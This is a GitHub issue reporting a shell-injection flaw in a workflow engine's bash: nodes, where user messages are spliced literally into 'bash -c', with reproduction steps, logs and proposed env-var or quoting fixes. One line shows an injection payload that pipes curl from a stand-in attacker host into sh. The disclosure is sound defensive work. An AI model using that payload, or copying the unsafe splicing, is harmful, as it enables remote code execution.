Skip to content

Variable substitution in bash: nodes is shell-injection-unsafe (subsumes #1377) #1585

@ztech-gthb

Description

@ztech-gthb

Summary

  • What broke: Every variable substitution in a bash: node — $ARGUMENTS, $USER_MESSAGE, $nodeId.output, etc. — is spliced into the bash body literally before bash -c <body> runs. Any shell-meaningful character in the value (backtick, $, \, ", newline) becomes part of the shell program rather than a value passed to it. Workflows using these substitutions in bash: nodes crash on benign content (markdown code-blocks, single-quoted numbers from upstream nodes) and, worse, are wide open to shell-injection from any adapter delivering partly-untrusted text.
  • When it started: as far back as git blame on executor-shared.ts shows; not a regression, an original-design footgun.
  • Severity: major — security-relevant for any adapter where the user message isn't human-curated (GitHub comments, email, webhooks). Hard blocker for any custom bash:-node workflow.
  • Related: archon-fix-github-issue fails in fetch-issue when issue number output is shell-quoted #1377 reports the same root cause from a different angle — $nodeId.output carrying single-quoted AI output crashes the same bash -c parse. This issue subsumes it and proposes a fix that resolves both vectors.

Steps to Reproduce

  1. Create a workflow with a bash: node that references $ARGUMENTS:

    name: repro
    nodes:
      - id: parse
        bash: bash -c 'echo "$ARGUMENTS"'
  2. Trigger it with a user message containing a markdown code-block or any unbalanced backtick, e.g.:

    Edit `foo.py`: replace `bar` with:
    
    ```python
    def baz(): pass
    ```
    
  3. Observe the run fail at the parse node before echo is reached.

Expected vs Actual

  • Expected: $ARGUMENTS is delivered to the bash node as a value, available via "$ARGUMENTS" (or $1 etc.), regardless of the characters in the user message.
  • Actual: The user message is spliced into the bash source and re-parsed by the shell. Backticks, $(), \, etc. inside the message are interpreted as shell syntax. Benign markdown breaks the parse; malicious payloads execute.

User Flow

User / Adapter           Orchestrator              Workflow Executor          bash -c
──────────────           ────────────              ─────────────────          ───────
sends message ─────────▶ stores as user_message
(may originate           dispatches workflow ────▶ substitutes $ARGUMENTS
from email,                                        LITERALLY into bash:
GitHub issue body,                                 body string
webhook, etc.)                                                       ───────▶ [X] re-parses
                                                                              user content
                                                                              as shell code
                                                                              → backtick EOF
                                                                              or arbitrary
                                                                              command exec

Environment

  • Platform: any (reproduces on Web/CLI; same code path for all adapters)
  • Database: any (SQLite verified; PostgreSQL identical — substitution is dialect-independent)
  • Running in worktree? No (orthogonal — bug is in the executor, not isolation)
  • OS: any (verified macOS host, linux container)

Logs

Failure of the form (taken from a real custom-workflow run):

{
  "error": "DAG workflow 'ztech-marimo-edit' completed with failures: 'parse-args':
            Bash node 'parse-args' failed [exit 2]:
            bash: -c: line 59: unexpected EOF while looking for matching `"
}

The user message that triggered this is ~3.5 KB, two ```python fenced blocks, ~10 inline backticks — orchestrator-synthesized from a short prose user prompt. Crash is deterministic for the same input.

Security considerations

This is not only a robustness bug. Any adapter where the user message originates from an untrusted or partially-trusted source (e.g. GitHub issue/comment bodies, Slack DMs, email subjects/bodies, webhook payloads) becomes a command-injection vector for any workflow whose bash: nodes use $ARGUMENTS. A crafted payload of the form:

hello `curl https://attacker.example/x | sh` world

is spliced verbatim into the shell program. The currently-reported failure mode (unexpected EOF) is the benign outcome — bash parses, crashes, executes nothing. A balanced payload parses cleanly and runs. This applies equally to inline bash: bodies and to file-script invocations like bash script.sh "$ARGUMENTS" (the splicing happens in the outer bash -c line, before the script file is read).

Built-in workflows in .archon/workflows/defaults/ happen not to use $ARGUMENTS in bash: nodes (the variable is only threaded into AI nodes there, where it is delivered as a JSON string field — no shell on the path). So no shipped Archon workflow is exploitable today. But any user-authored or AI-generated custom workflow using the natural-looking pattern is. There is no warning in the docs.

Impact

  • Affected workflows/commands: any bash: node that references $ARGUMENTS or $USER_MESSAGE. Zero in defaults/ ship with this pattern; arbitrary in user/custom workflows.
  • Reproduction rate: Always (deterministic for any user_message containing an unbalanced backtick / $() / etc.).
  • Workaround available? Avoid $ARGUMENTS in bash: nodes; route the variable through a prompt: node instead. Or sanitize the user message upstream. Neither is documented; both are awkward.
  • Data loss risk? No (workflow fails before any node runs). Possible side-effects under attack (arbitrary commands), but no data-corruption from the bug itself.

Scope

  • Package(s) likely involved: workflows
  • Module: workflows:executor-shared (packages/workflows/src/executor-shared.ts:387-396, the substituteWorkflowVariables function), and the bash-node spawn site that consumes its output.

Proposed fixes

Two viable directions; either resolves the bug for all existing and future workflows transparently:

(a) Env-var pass-through (recommended). Stop substituting these variables into the bash source. Instead, set ARGUMENTS, USER_MESSAGE, and the per-node outputs as environment variables on the spawned bash process; let bash do its normal "$ARGUMENTS" / "$NODE_PARSE_OUTPUT" expansion at runtime. YAMLs continue to read bash: bash script.sh "$ARGUMENTS" and Just Work; scripts still receive $1 exactly as before. Implementation: in the bash-node spawn path, skip those keys in the substitution loop and merge them into the child's env. Naming convention for node-outputs ($NODE_<id>_OUTPUT or similar) needs a small bikeshed; the underlying mechanism is identical for both classes of variable.

(b) Shell-quote-on-substitute. Keep literal substitution but wrap the values in '…' with proper single-quote escaping before splicing. Less surprising for users who currently embed ${VAR}-suffix patterns in their YAMLs, but more brittle — every variable substituted into a bash: body now needs the quoting, and single-quote escaping has its own footguns.

I'd recommend (a): smaller blast radius, no behavioral change for compliant YAMLs, and the env-var hand-off matches how Archon already passes other context ($ARTIFACTS_DIR etc. are plain string values that authors expect to read with "$VAR" in bash). It also resolves #1377 with no separate fix — once values are passed by env rather than spliced, the '4' from that report no longer breaks the parse.

Either fix should also pick up a short paragraph in workflow-yaml-reference.md explaining the contract: variables are exposed as environment variables to bash: nodes; do not concatenate them into bash -c '…' literals. The current reference (workflow-yaml-reference.md:222-223) says only "Full user message string" — no mention of substitution semantics or shell-injection risk.

Out of scope

  • Whether the orchestrator-AI should be discouraged from synthesizing huge prompts when invoking workflows. The fix needs to be at the executor regardless — even short user messages can contain backticks.
  • Whether prompt: / command: nodes have the same class of bug. They don't reach a shell, so the same substitution is safe there. Worth a quick audit, separate change.

Metadata

Metadata

Assignees

No one assigned

    Labels

    P1High priority - Address soon, next in queuearea: workflowsWorkflow enginebugSomething is brokeneffort/mediumFew files, one domain or module, some coordination neededsecuritySecurity vulnerabilities and hardening

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions